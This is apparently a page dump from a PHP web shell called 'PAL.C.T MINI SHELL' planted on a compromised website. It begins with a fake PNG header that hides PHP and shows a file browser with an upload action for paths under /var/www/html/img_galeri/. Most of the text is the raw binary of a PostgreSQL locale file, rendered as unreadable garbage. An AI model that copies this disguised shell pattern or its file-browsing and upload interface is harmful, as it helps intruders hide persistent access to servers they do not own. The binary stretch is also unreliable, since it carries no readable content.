‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/ko/LC_MESSAGES/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/share/locale/ko/LC_MESSAGES/postgres-8.4.mo

Þ•õ	ÄOO
lŸ¨Ô©Ô!¾ÔàÔËÕ)ÌÕFöÕB=Ö,€ÖD­Ö8òÖ:+×+f×%’×2¸×!ë×8
Ø7FØ)~Ø9¨ØBâØC%Ù)iÙ+“Ù"¿Ù7âÙ0Ú7KÚ,ƒÚD°Ú.õÚ)$ÛHNÛC—Û+ÛÛ7Ü3?Ü0sܤÜ8ÄÜKýÜIÝ
ZÝ eÝ%†Ý"¬ÝÏÝèÝüÝ Þ6Þ'MÞuÞ“Þ¤Þ¹ÞÎÞåÞùÞß*2ß&]ß„ß*—ß"Âß!åßàà#/à.Sà"‚àF¥à5ìà+"á)Náxxáñáâ*âDâYâlâ#€â'¤âöÌâ/Ãã óã+äd@äf¥åæ;,æ;hæ¤æ§æ4¼æ$ñæ'ç>çQç)dç8Žç%Çç(íç"è9èJè±dèµé³Ìé¡€ê"ë;ë#[ë,ë¬ë$Ëëðëì(ì@ì$]ì‚ì?ì=Ïì4
íBíFí7aí2™ísÌí*@î1kî!î/¿î)ïî)ïCï"_ï#‚ï)¦ïÐï'ïï+ðCðE^ðm¤ð@ñSñnñ„ñS›ñKïñ2;ònòxó#úó%ô"Dô"gô'Šô'²ôÚôRôô=GõH…õ&Îõ4õõ7*ö6bö:™öÔöTd÷=¹÷=÷÷5ø9øV?øD–øFÛøN"ùIqù»ù¿ù9Æù7ú<8ú
uú.€úA¯úðñú$âû
üü#ü!?ü'aü‰ü# ü(Äü4íü&"ý3Iý8}ý&¶ý"Ýý.þ2/þ+bþ-Žþ¼þ>×þ%ÿ<ÿ'Rÿ/zÿ4ªÿHßÿ=(Gf'®BÖ>4XK?Ù93S%‡­-ÄNòA2\+/»:ë.&HUž4½<òF/#v6š/Ñ/#1Ut“/±-á.'>!fˆ›6¡	Ø0â97M%…,«Øõù6	C9	}
%
Lµ
"1+'](…=®!ì#' K”l;
,=
/j
1š
-Ì
6ú
.1.`43Ä]øVRi-¼ê"úD=B‚Å8Ë1.6?e¥,Ä6ñ*(SW:`1›&Íô
\Xv(Ï(øZ!*|(§(Ð"ù B'.j,™/Æ,ö1#U]x/}/­3Ý+5=>s5²èí/ò5")XK‚+ÎÒúÍyê|dPáN2FTÈ2%P'v2žtÑNF%•»Ö2ò<%4b>—6Ö\
 Wj 2Â cõ !Y!.{!.ª!WÙ!81"j"n"v"z""ƒ"ˆ".¦")Õ")ÿ"+)##U#9y#'³#+Û#2$?:$(z$=£$0á$/%!B%-d%!’%´%Ê%Ü%1à%4&.G&v&D†&Ë&'é& '*2']'2s'*¦'9Ñ'+(@7(!x(Gš(+â(-)8<)'u))¡)§),Ã)ð)%ô)*66*Em*;³*%ï*+/+3+7:+<r+)¯+'Ù+',),%0,+V,-‚,3°,ä,C-D-_-c-Vl-XÃ-N..k.š.'«..Ó.0/93/m/q/Cy/,½/+ê/	0I 0'j0’02˜0)Ë0'õ014811m1#Ÿ1FÃ1
2)2G2)V25€2(¶2ß2è2&õ2$3%A3+g3C“3,×3"4#'4=K4=‰46Ç46þ4@55+v5¢5¸5HØ5\!6~6#”6#¸6$Ü67!727>J70‰7#º7Þ7ø7.þ7F-87t83¬87à839OL94œ9;Ñ9;
:9I:Bƒ:?Æ:A;AH;AŠ;-Ì;.ú;)<,H<?u<Fµ<ü<=!*= L=m=(Œ=(µ=.Þ=#
>1>D>1d>A–>4Ø>
?&?
9?(G?"p?:“?Î?Ö?Ý?÷?4@ 9@Z@^@Kg@³@*Ï@ú@	þ@&A0/A0`A.‘A/ÀA,ðA2BWPB0¨BÙB(ùBG"CBjC(­C6ÖC)
D7D/ND0~D6¯D#æD<
ESGE-›E+ÉE@õE16F)hF2’F2ÅF/øF4(G0]G'ŽG2¶G8éGL"H>oH8®H2çH1IMLI@šIBÛI+J(JJ4sJM¨J&öJ<K>ZK>™K<ØK0L/FL?vLO¶LLM\SMU°MGNVNNE¥N%ëNEO+WO2ƒO!¶O*ØOPDP:dP;ŸP?ÛP=Q#YQ&}Q0¤QRÕQ}(R¦R,¿R>ìR!+S/MS'}S6¥S'ÜST.TNMTœT/¬T/ÜTJU!WU
yU„U1œUÎU]^V7¼VôVøV&ÿV6&W)]W3‡W.»W8êW%#X*IX0tXL¥XòX!Y?0Y(pYX™YšòYLZ3ÚZ1[o@[h°[`\xz\xó\pl]dÝ]jB^x­^j&_j‘_nü_xk`*ä`qaGa†Éa8Pbˆ‰bxc¶‹c0Bd4sdD¨dìídQÚe¢,fGÏfPg1hg0šgYËgU%hZ{h¡ÖhDxi0½ilîi0[jœŒjW)kk÷lLntTp‚ÉqGLtN”t9ãtu=6u|tu#ñufvB|v¿vÃv$ÌvXñv&Jw,qw3žw‹Òw6^x•x¦x%¸x=ÞxBy%_y&…y%¬yÒyÖy"Þy'z')zQz	jzjtzßz9äz{8{&W{L~{KË{;|2S|†|;¦|7â|/}J}"c}'†}!®}Ð}ð}<~%M~Ls~6À~2÷~**&U8|:µ8ðP)€Qz€PÌ€3F%e4‹!ÀDâ('‚-P‚(~‚#§‚3Ë‚<ÿ‚,<ƒ2iƒ"œƒ)¿ƒ1éƒ5„%Q„8w„B°„ ó„P”…å…$†$'†ŒL†3Ù†"
‡@0‡Aq‡³‡)χ,ù‡!&ˆHˆ$Pˆ;uˆ9±ˆëˆ	ùˆý§‰j¥Š6‹:G‹,‚‹³¯‹cŒsŒ‘Œ;¬Œ9èŒ@"7c8›0Ô/Ž65Ž?lŽ¬Ž¥ÅŽFk[²WffLÍ4‘LO‘4œ‘LÑ‘4’3S’}‡’8“0>“Bo“9²“3ì“& ”	G”Q”q”I”E×”•G=•!…• §•/È•ø•%–!8–7Z–2’–Å–%Ò– ø– —/:—j—†—)¢—Ì—Dë—'0˜EX˜&ž˜!Ř!ç˜+	™)5™)_™&‰™=°™2î™!š/?šoš4š¶šIК4›"O›r›8ƒ›R¼›#œ/3œcœ"œ0¤œ)Õœ$ÿœ8$ ]/~1®/à>žFOž>–ž0ÕžŸ"&ŸIŸ+fŸ.’Ÿ&ÁŸèŸ8 1> Cp 5´ "ê 
¡2)¡B\¡2Ÿ¡2Ò¡%¢6+¢b¢…¢2£$:£_£=y£·£,Ë£
ø£7¤;>¤Lz¤0Ǥ,ø¤(%¥$N¥'s¥,›¥È¥,â¥'¦)7¦)a¦(‹¦(´¦@ݦA§B`§)£§%ͧ!ó§&¨(<¨&e¨.Œ¨$»¨%à¨"©)©AI©4‹©&À©)ç©>ªVPªZ§ª#«5&«\«!v«!˜«$º«.ß«¬*¬eB¬N¨¬N÷¬$F­1k­0­Dέ"®&6®]®z®˜®-·®1å®&¯:>¯,y¯-¦¯(Ô¯ý¯°&7°^°{°,”°;Á°ý°!±%9±&_±"†±)©±'Ó±/û±%+²&Q²%x²<ž²1Û²
³!-³PO³ ³'¿³qç³:Y´6”´-Ë´.ù´6(µ=_µ.µ/̵+üµ(¶9B¶ |¶1¶/϶4ÿ¶ 4·.U·„·&£·.Ê·2ù·0,¸0]¸0ޏ@¿¸@¹<A¹#~¹ ¢¹#ù1ç¹ º&:º:aº>œºEÛº!!»'C»"k»(Ž»3·».ë»#¼*>¼i¼,‡¼>´¼$ó¼2½K½/`½ ½ ±½/Ò½ ¾)#¾2M¾*€¾'«¾'Ó¾1û¾3-¿<a¿1ž¿5п5À'<ÀJdÀ2¯À+âÀ(Á'7Á)_Á'‰Á&±Á+ØÁ6Â5;ÂqÂ+„Â+°Â5ÜÂ/Ã"BÃ#eÃ.‰Ã@¸Ã9ùÃ>3ÄGrÄ>ºÄ7ùÄi1Å9›Å$ÕÅ-úÅP(ÆyƙƷÆ&ÑÆ0øÆ.)Ç)XÇ)‚Ç3¬Ç"àÇ&È *ÈPKÈ?œÈ4ÜÈÉ3.É.bÉ$‘É ¶É×ÉòÉÊ1Ê2PÊ/ƒÊ³Ê>ÓÊ6Ë'IË%qË+—Ë+ÃË.ïËIÌ?hÌB¨ÌCëÌ$/ÍUTÍ)ªÍÔÍ/ðÍ/ Î(PÎ7yÎ4±Î9æÎ4 ÏEUÏ"›Ï<¾Ï=ûÏE9ÐÐ/‘ÐCÁÐJÑAPÑ2’Ñ*ÅÑ&ðÑ%ÒD=Ò ‚Ò6£Ò*ÚÒ,Ó%2Ó XÓ!yÓ›Ó.ºÓ0éÓ-Ô!HÔ
jÔ9xÔ,²Ô ßÔ"Õ#Õ-BÕpÕ(Õ
¸Õ-ÆÕ5ôÕ%*Ö0PÖ4Ö¶Ö.ÑÖ=×>×#Y×#}×-¡×#Ï×#óר*6Ø)aØ-‹Ø¹Ø2ÖØB	Ù(LÙ"uÙ&˜Ù2¿Ù òÙÚE1Ú+wÚ2£Ú-ÖÚ(Û%-Û5SÛ>‰Û-ÈÛBöÛ=9Ü>wÜ>¶Ü#õÜÝ&8Ý _Ý#€Ý#¤Ý-ÈÝ&öÝ#ÞAÞ1`Þ'’Þ#ºÞ"ÞÞ$ß<&ß)cßß%­ß*Óß7þß?6à?và0¶à4çà'á.DáSsáNÇá7â.Nâ$}â@¢âAãâ?%ã)eã)ã/¹ã éã*
ä)5ä_ä,{ä+¨ä-Ôäå"å'@å hå‰å©åÇåçå2æ :æ[æ+yæ-¥æ(Óæ9üæ:6ç6qç<¨ç"åç4è3=è3qè2¥è(Øèéé#;é#_é'ƒé(«é'ÔéPüé$Mê!rê9”êÎê(îê-ë/Eëuë*ë+»ë'çë9ì7Iì&ì-¨ì-Öì*í0/í*`íF‹í$Òí!÷í"î6<î(sî(œîÅî!âî$ï,)ï-Vï>„ï#Ãï,çï1ð1Fð,xð*¥ð-Ððþð.ñ!Hñ"jññ!ªñ4Ìñ$ò!&ò0Hò:yò#´ò!Øò0úò#+ó%Oó!uó&—ó,¾ó&ëóIôE\ô0¢ôÓôñô'õ#7õ[õzõ,šõ'Çõ'ïõ.öRFö&™ö;Àö(üö(%÷ N÷!o÷8‘÷-Ê÷ø÷:ø*Sø!~øA ø'âøB
ù3Mù2ù´ù$Ñù#öù$ú*?ú/júAšú/Üú&û!3ûUû,rû?Ÿû/ßû6ü+Fü)rü9œü,Öü/ý23ýfý"„ý$§ý2Ìý ÿý# þ Dþ/eþG•þ Ýþ*þþ()ÿRÿ9rÿ1¬ÿOÞÿ.M;l¨ÃDÞB#/f–"³-Ö'A,n‹&¨.Ï.þ4-5b˜+¤6ÐQ!Y{=˜7Ö@4OJ„#Ï#ó(/+X0„µ.ÇDö(;d s”(¯1Ø
5&9\N–å$ö	4	H	 X	6y	°	Î	2í	! 
2B
u
Œ
8§
+à
)(6%_#…<©æî:/O'%§1Í+ÿ'+
%S
(y
*¢
(Í
ö
D1T0†·'Ï)÷0!+R5~´4Ñ'%.&T&{0¢&Ó/ú#*"N&q(˜Á)Í÷2/L&|+£Ï(é6CID9Ò&?37s#«9Ï%	6/5f%œ*Â8í&-@*n"™¼4Ð5*;*f3‘2Åø/.O+~ªÉ,ã&71T4†"»&Þ;FA)ˆK².þ4-b#|( !Éë@$;e5¡"×úDJH1“+Å6ñ)(9R&Œ³5ÉGÿCG!‹?­-í  < 5Q 6‡ 4¾ 'ó !"1!.T!"ƒ!!¦!0È! ù!(")C"'m"#•"¹"Ï"î"#%#.=#"l#-#½#1Û#
$'!$I$#]$-$,¯$,Ü$	%#%1<%Bn%&±%Ø%!ò% &5&&P&)w&¡&½&Ò&è&'2' L'.m'œ'<¼'&ù'& (+G('s(#›(*¿(4ê(()(H)+q)))+Ç)'ó)(*)D*+n*(š*'Ã*-ë*+51+7g+#Ÿ+%Ã+*é+%,#:,+^,-Š, ¸,*Ù,--32-%f-.Œ-?»-û-.*.+A.&m.”.¨.CÄ. /1)/4[/,/½/4Ô/	0/&0!V0&x0&Ÿ0&Æ0&í0$1&91(`1&‰15°1)æ12/2!N25p2¦2'Å20í283:W3’3§3¾31Ù3#4/4(J4!s4?•4)Õ4,ÿ4,5F5`5.o5 ž5¿50Ü5
6+6&B6$i6$Ž6$³6,Ø6.7#474X77£7À7&Ý78!8!-8#O8s8*’85½8*ó8#9%B9Hh90±9%â9:&:$::_:}:Œ:%¡:$Ç: ì:<
;J;h;!‡;0©;/Ú;-
<08<5i<Ÿ<#»<$ß<=$=5=(U=~==«=Ç=ä=,ü=)><>%I>>o>8®>!ç>	?>)?Lh?6µ?9ì?"&@#I@%m@“@8±@(ê@A+A?HA4ˆA½A.ÙAB'BDBaB~B"›B¾BÛBöBC2C#KC+oC%›C3ÁC3õC-)D&WD"~D$¡D!ÆD+èD)E>E&^E.…E%´E!ÚE üE2F*PF1{F0­F0ÞF#Gt3G¨G ÇG%èGH*-HQXHªHSÁHQI8gI. I(ÏI4øI4-J3bJ–JA¬J.îJ/KMKjK‚K¢K'½KåK7ûK(3L<\L@™L'ÚL?M#BM;fM,¢M(ÏMøMN*NJN)eN)N-¹N,çNDO(YO‚O–O.³OâOñO.P6P6SP2ŠP@½P)þP1(Q/ZQEŠQÐQ$çQR,RKR$hRR*¬R/×R$S),S;VS5’S1ÈS/úS8*T5cT(™TÂTÜTèT$UB(U&kU3’U0ÆU9÷U91VHkV&´V)ÛVW!W$<W,aWŽW# W.ÄW
óWX(X9XONXžX%ªXÐXéX!Y!'Y IY$jY3Y'ÃY'ëYBZVZeZ,rZŸZ#±Z#ÕZ!ùZ![!=[!_['[!©[Ë[!ë[#
\1\-O\'}\#¥\$É\ î\+]=;]!y]›]0º]%ë]$^ 6^'W^"^.¢^+Ñ^+ý^)_IB_3Œ_)À_ê_`B`/b`2’`Å`&Ñ`&ø`"a8Ba1{a0­a"Þa.bU0bI†b7ÐbBc.Kczc#™c½cÖc"öc#d.=d ld"d:°dëd8e9De9~e:¸eóef!0f4Rf‡f/ fTÐfY%g?gB¿gChFFhOh"Ýhii(i:=i0xi'©iWÑi/)jSYj­j7Ëjk+ kLkAik'«k.Ók1l4lTl`l#{l*ŸlÊl*êlm)(m(Rm1{m"­m.ÐmÿmAn-\nCŠnÎn'×n#ÿn#o:o1ZoŒo6«o/âop=+pip"‚p"¥p*Èp&óp$q?q Gqhqƒq¡q7Áq-ùq<'r"dr*‡r²r*Ër*ör4!s'Vs~s'Šs'²s/Ús,
t7tRt$mt	’tœt!¼t5Þt%u!:u+\uˆu¥u&Âu4éu@v_v8kv6¤vÛvêv	w>(w"gw#Šw<®w;ëw-'x;Ux,‘x¾x
ÐxIÞxH(y=qy<¯y1ìy-zLzDbzD§zìzB{:O{Š{$¡{2Æ{5ù{#/|1S|=…|Ã|&Þ|}}
/}=}Z}z}%–}:¼}8÷}0~M~#k~~$­~7Ò~=
'H=p@®?ï</€l€3y€2­€ à€)+A#[<.Ú	‚#‚@<‚}‚(†‚!¯‚Ñ‚8ñ‚=*ƒ"hƒ‹ƒªƒ(Ƀòƒ
„„&8„$_„,„„#±„%Õ„.û„$*…(O…x…%”…#º…-Þ…A†3N†C‚†<Ɔ‡‡53‡)i‡.“‡‡.á‡+ˆ<ˆ Tˆ.uˆ'¤ˆN̈/‰'K‰$s‰"˜‰<»‰#ø‰*Š(GŠApвŠ5ÌŠ1‹#4‹KX‹3¤‹FØ‹.Œ7NŒJ†Œ4ÑŒ*1/O_)ß4	Ž1>ŽYpŽCÊŽ%#B"f2‰1¼1î /1B&t"›¾Ø9ç-!‘'O‘w‘$‘Bµ‘2ø‘*+’-V’*„’4¯’ä’'ó’“3;“+o“2›“Γ'ç“”"(”K”h”‚”¢”ª”!Á”ã”û”•3,•"`•*ƒ•%®•/Ô•5–*:–Oe–Aµ–2÷–&*—,Q—!~—. —Ï—ï—!
˜/˜,D˜q˜€˜#œ˜)À˜Qê˜5<™0r™5£™?Ù™9š=Sš?‘š+Ñš6ýš44›)i›&“›º›'Ù›-œ:/œjœŠœ)©œ/Óœ,5b~› ·!Ø$ú*ž!Jž"lž
ž$šž$¿ž2äž1ŸIŸBeŸ¨ŸŸÚŸøŸ! ': b  Qœ 8î +'¡S¡h¡|¡?œ¡4Ü¡E¢)W¢%¢§¢,¹¢*æ¢+£'=£,e£2’£!Å£ç£-¤%4¤@Z¤›¤"´¤"פú¤"¥%%¥,K¥+x¥!¤¥Æ¥ å¥ ¦'¦*:¦ e¦(†¦6¯¦>æ¦?%§e§,r§9Ÿ§ Ù§Äú§¿©>Ö©>ªôTª1I«S{«UÏ«7%¬T]¬8²¬>ë¬'*­)R­@|­#½­.á­L®@]®Wž®§ö®Xž¯1÷¯#)°#M°Fq°=¸°Aö°*8±fc±4ʱ.ÿ±Y.²kˆ²'ô²\³>y³>¸³&÷³I´Rh´»´Ô´-Ü´.
µ;9µ&uµœµ.±µHàµ))¶*S¶$~¶£¶2½¶ð¶·)·5B·/x·T¨·Gý·"E¸?h¸8¨¸)ḹ&$¹;K¹@‡¹4ȹký¹EiºH¯ºDøº =»,Þ»#¼#/¼"S¼#v¼$š¼'¿¼<ç¼0$½CU¾1™¾6˾¿Á' Á[ÈÁ[$€Â0ƒÂP´Â8ÃH>ÇÜÃ>¬ÃSëÃ:?Ä>zÄR¹ÄÅ Å[:Å_–Æ|öÇTsÉ=ÈÊ*Ë'1ËWYË0±ËCâË(&ÌOÌ!mÌ#Ì;³ÌïÌWÍVXÍJ¯ÍúÍ!þÍB ÎIcί­ÎG]ÏD¥Ï#êÏ2Ð(AÐ(jГЯÐÎÐ:îÐ4)ÑC^ÑK¢Ñ!îÑWÒ—hÒmÓ&nÓ2•Ó3ÈÓ}üÓ{zÔEöÔg<Õ’¤Ö+7×'c×>‹×0Ê×7û×E3ØyØa—ØfùØ‚`Ù=ãÙV!ÚCxÚ<¼ÚdùÚÂ^Û[!Ü]}Ü\ÛÜ8Ý:Ý{AÝP½ÝKÞKZÞO¦ÞöÞøÞGÿÞ;GßJƒß
ÎßAÙßVàrà/†á	¶áÀáØá%øá#âBâ&`â+‡âJ³â7þâi6ã; ã@Üã/ä?Mä>ä<Ìä9	å<CåP€å:Ñåæ?%æOeæQµæQç:Yç[”çOðçX@èK™èWåè\=éfšéRêITê3žê2Òêeë`kë Ìë9íë3'ì0[잌ì++íYWí±í#Âí#æíI
î3Tî@ˆî=ÉîAï1Iï%{ï¡ï"¿ï5âï5ð2NðBð+Äððð	ñAñWñ4gñlœñV	ò?`òP ò)ñòóód%óŠóŸõ'³õ]Ûõ9ö/@ö6pö9§ö;áöT÷,r÷Ÿ÷-¿÷(í÷‹øU¢ø1øø<*ùHgù?°ù7ðù8(ú@aúL¢úGïúv7û$®û‹ÓûN_ü=®üGìý*4þV_þ]¶þÿ8$ÿ9]ÿ6—ÿBÎÿ;:M5ˆM¾K9a=›Ù
öŒ`‘ ò o4C¤;è;$1`’	–R 'ó*.FWuBÍ	0KRR_¥G;MH‰HÒa}‚K‡]Ó41	_f	>Æ	ñ
5÷
°-–Þtu}êah
@Ê
E=Q?=Ϥ
Q²=2B2uC¨gì^Ti³`ž~˜2¶›é(…™®5Hœ~Okmtv}$†9«8å.2M5€_¶L0c@”\Õ32GfK®@ú.;-j@˜ÙìûETHGåMñ6?Cv.º8é%"5H2~9±0ëS8pU©9ÿ?9Ny<È  / "> a (h ‘ L® Lû DH!:!!È!ê!	î!?ø!L8">…"BÄ"B#J#4Q#O†#BÖ#L$0f$`—$#ø$%	%k)%k•%c&.e&$”&B¹&Hü&0E'<v'³'¶'Z½'F(F_(¦(_²(2)E)CL)E)CÖ)<*4W*XŒ*8å*\+5{+<±+î+!,t$,K™,å,
í,0û,0,--]-0‹-P¼-2
.8@.By.S¼.Y/Gj/G²/Cú/A>0€09™0gÓ0y;1µ1 Æ1 ç1 2)2 :2[2Wx2:Ð2F3R3q3Nu3]Ä3C"4Ff4=­49ë4u%5L›5Jè5J36H~6kÇ6G37X{7UÔ7X*8Vƒ8VÚ8719>i9G¨9Wð95H:~:\Ž:ë:;0 ;0Q;B‚;2Å;ø;	<:(<Kc<:¯<ê<==1,=@^=LŸ=
ì=
÷=>>;(>(d>>	‘>Y›>:õ>20?c?e?>l?W«?W@U[@V±@SA4\Ad‘AHöA1?B,qBhžBjCrCB’C4ÕC
DCD?cDW£D(ûDR$EawE8ÙE9FELF?’F9ÒF4G/AGFqGG¸G9H3:H2nHQ¡H/óHF#ILjI+·ITãIb8J5›JFÑJ5K9NK?ˆKXÈK#!L.EL%tLešL>M1?MJqMP¼M}
Nu‹NzOs|OVðObGPWªP&QV)Q(€Q-©Q;×Q?RSRTsRJÈRcS"wSFšS;áS;TIYTw£T”U,°U9ÝUAV2YV1ŒV1¾VFðV07WhW4~Wu³W)XBDXN‡XmÖX.DYsYzY5YÝÆY¤ZU5[‹[	[3™[BÍ[<\;M\A‰\@Ë\&]-3]6a]d˜]1ý]+/^a[^M½^r_Ä~_RC`B–`@Ù`œaŒ·aŒDb¬Ñb¯~cœ.dËd–\e¬óe– f–7gšÎg¯ihKiØeiM>j¿ŒjBLk¨k8l6Öld
n_rn^Ònz1o[¬pÃqSÌqw rJ˜rIãrf-sz”sjtµzte0uI–u…àu<fvÖ£vmzwèw–vxG
{tU}®Ê~Sy‚\Í‚C*ƒ'nƒD–ƒ›Ûƒ6w„¬®„G[…£…	§…)±……Û…=a†KŸ†Dë†Û0‡HˆUˆnˆ3ŠˆK¾ˆ`
‰=k‰A©‰2뉊	"Š+,Š4XŠ6Š"Ċ犓úŠ	Ž‹R˜‹ë‹0	Œ7:Œ^rŒ†ÑŒTXQ­:ÿ:ŽpÊŽF;B‚CÅE	COA“<ÕX‘=k‘t©‘s’Z’’Rí’+@“Ql“P¾“8”€H”ˆÉ”R•*Ô•$ÿ•1$–/V–K†–;Ò–b—/q—=¡—8ß—-˜BF˜M‰˜5טA
™)O™<y™<¶™<ó™+0šF\šU£šòùš[ì›(HœLqœ;¾œ¾úœ@¹úCž8\ž+•ž5Áž:÷ž22ŸeŸ<lŸ7©ŸUáŸ7 	; âE å(¡š¢N©¢Gø¢*@£ûk£g¤$z¤Ÿ¤3¾¤6ò¤N)¥9x¥<²¥@ï¥>0¦<o¦X¬¦2§È8§t¨’v¨€	©˜Š©a#ªK…ªdѪK6«d‚«Kç«J3¬–~¬I­<_­gœ­o®et®:Ú®¯+$¯2P¯zƒ¯gþ¯/f°N–°@å°H&±Lo±$¼±.á±/²T@²P•²æ²7³'<³(d³5³óß³'ö³´M9´-‡´Gµ´4ý´/2µ/bµO’µ?âµA"¶Cd¶G¨¶:ð¶+·GI·‘·M£·ñ·k¸Pr¸.øò¸P¹nY¹@ȹ<	º)Fº2pºO£º6óº;*»Hf»*¯»AÚ»B¼(_¼[ˆ¼dä¼BI½8Œ½KŽ3¾E¾5d¾[š¾Eö¾7<¿It¿M¾¿SÀP`À0±À âÀCÁGGÁAÁ0ÑÁ"Â:%Â`¿yÂZ9Ã1”Ã#ÆÃ7êÃ'"ÄAJÄŒÄO ÄgðÄ¥XÅcþÅFbÆ;©ÆNåÆ?4Ç\tÇ(ÑÇ7úÇ52ÈOhÈJ¸ÈNÉIRÉMœÉSêÉJ>ÊO‰Ê&ÙÊ)Ë.*Ë0YË.ŠË6¹Ë,ðË-ÌSKÌHŸÌZèÌJCÍHŽÍ=×ÍBÎjXÎiÃÎ1-ÏR_ÏA²Ï,ôÏ0!Ð0RÐCƒÐ#ÇÐëЛ	ÑŽ¥Ñ^4Ò]“ÒKñÒN=ÓUŒÓ8âÓ)Ô5EÔ5{Ô7±ÔTéÔD>Õ?ƒÕYÃÕ5Ö8SÖgŒÖQôÖQF×W˜×&ð×&Ø@>ØLØ4ÌØ(Ù6*Ù+aÙ)Ù0·Ù.èÙ6Ú,NÚ-{Ú.©Ú\ØÚU5Û:‹ÛAÆÛtÜ>}ÜE¼Ü¦ÝU©Ý>ÿÝ?>ÞI~ÞPÈÞ\ßPvß5ÇßOýß1MàIà9Éà?á?Cá@ƒá@ÄáBâ&Hâ2oâ3¢â7ÖâNãG]ãN¥ãVôãVKäR¢äSõäOIåD™åJÞå6)æ8`æL™æIææa0ç9’ç<Ìç7	è3AèhuèOÞè5.é,dé'‘é/¹écééJMêM˜ê4æê<ë-Xë-†ë<´ë-ñë1ìCQì;•ì;Ñì1
íI?íF‰íRÐíG#îHkîG´îIüîhFï@¯ïQðïCBðH†ðEÏðGñI]ñG§ñZïñXJò3£òT×òD,óPqó9Âó9üó=6ôBtôL·ôOõLTõi¡õIöOUöƒ¥ö9)÷:c÷Nž÷gí÷Uø'tøœø3ºø]îøALùCŽùIÒù_ú/|ú6¬ú1ãúwûOû@Ýû)üGHüDü/Õü.ý"4ý(Wý?€ý,ÀýEíýh3þ"œþa¿þG!ÿ,iÿ-–ÿHÄÿ1
L?jŒJ÷FBI‰&Ó{ú7v®OÂK.^H:ÖR7daœ.þN-H|TÅK.dzeßGEc+ñ%=Jc#®6Ò1		d;	V 	÷	'
&:
Ha
Xª
.M2€R‘8ä'7E8}O¶0
<7
t
J
<Û
0@I@ŠË7êJ"%m/“/Ã:ó2.6a*˜3Ã4÷1,.^GUÕ7+Cc=§=å"#$F?k5«8áE6`(—IÀK
DVU›TñTF\›)ø+"/N9~5¸)î9+R*~$©8Î-+5*a?ŒBÌ2%B8h6¡HØU!Uw8ÍF.ME|XÂg_ƒ9ã/?MVWä6<4s?¨'èL 2]   H± 7ú 92!$l!+‘!0½!=î!#,"!P"$r".—"?Æ"!#(#;E#G#8É#K$GN$C–$PÚ$/+%E[%\¡%Sþ%AR&/”& Ä& å&$'$+'(P'&y'. 'cÏ'63((j(9“(1Í(:ÿ(?:)Az)¼)B×)L*2g*Vš*Gñ*79+9q+7«+6ã+-,-H,Vv,'Í,$õ,%-C@-„-¢-!À-'â-+
.86.4o.8¤..Ý.;//H/7x/B°/Fó/7:0-r04 0*Õ0+1$,1>Q161"Ç1$ê142AD2(†2+¯2*Û213)83*b3.3E¼3>4TA4`–4L÷4;D53€52´5-ç5'6(=6.f62•61È6Hú6eC7=©7Mç7C58Vy8OÐ8A 93b97–93Î9G:EJ:>:RÏ:I";`l;GÍ;A<,W<8„<.½</ì<;=>X=i—=8>>:>4y>.®>RÝ>P0?9?>»?2ú?<-@Ij@6´@0ë@:AWA(uA.žA.ÍA4üA&1BXB3vBJªBõB.C3DC)xC\¢CTÿC‡TD/ÜD5ERBE&•E¼ENÜEW+F2ƒF.¶F"åFFG@OGvG2H:H*YH=„HQÂHEI^ZI¹ICÏIfJ“zJ3K<BKoK_ïKROL^¢LuM?wM ·M#ØM8üM=5NTsNÈNZÞNZ9OC”OØOCçO++PWP8tP.­PcÜP]@QbžQ"R;$R-`R ŽR¯R&ÃR:êR(%S&NSBuSF¸SMÿS$MT%rT;˜T,ÔT5U/7U)gU.‘U]ÀUV+V!8V$ZV&V5¦V'ÜV<WWAW5™W,ÏW%üW-"X"PXJsX¾XdÛXM@YXŽYçY2Z55ZYkZ8ÅZJþZI[Yf[8À[/ù[0)\0Z\>‹\0Ê\?û\2;]1n]5 ]7Ö]	^5^N^)l^=–^BÔ^F_9^_%˜_)¾_Hè__1`_‘`Cñ`45aDjaN¯aþaTb5hbZžb_ùbWYc:±cCìc0d;Cd6d"¶d*ÙdXeX]e8¶eKïeS;f`fðfgF#gFjgD±gEög(<h,eh9’h$ÌhPñhFBi;‰i;ÅiFjeHj0®jwßj:WkR’kåk ûk*l,Gl1tl,¦lgÓlb;mRžm*ñmnk)nR•nEèn?.oenoVÔoJ+pBvp*¹p<äpn!qtq>rñDr<6s>ss0²s=ãsK!tAmt3¯tãt%u\'uB„u?Çu4v)<vKfv/²v5âv,wEw#_w"ƒw/¦wÖw0ðw!x=xWx@txµx>Ðx"y&2y@Yy;šyBÖyz/8z@hz^©z5{9>{7x{5°{(æ{0|+@|l|‹|#©|Í|ì|/}&4}F[}¢}I»}/~*5~2`~.“~*Â~1í~;/[/‹2»0îA€'a€/‰€0¹€2ê€/.M4|±QÍN‚,n‚-›‚+É‚:õ‚.0ƒ6_ƒ8–ƒ1σI„7K„Mƒ„3Ñ„B…LH…•….´…0ã…9†1N†€† ˜†a¹†*‡1F‡0x‡5©‡߇Nú‡+IˆAuˆ&·ˆKÞˆ?*‰Oj‰0º‰Jë‰-6ŠNdŠ/³ŠIãŠ&-‹!T‹!v‹@˜‹SÙ‹-Œ,EŒ?rŒG²ŒIúŒDZtCŽ(Òû+Ž0EŽ\vŽ8ÓŽ4A=]›6¬'ã7+'c/‹)»'å'
‘35‘;i‘=¥‘,ã‘I’Z’2p’"£’.Æ’8õ’.“7H“€“•“¬“CÊ“I”9X”;’”`ΔA/•3q•+¥•"Ñ•ô•#–
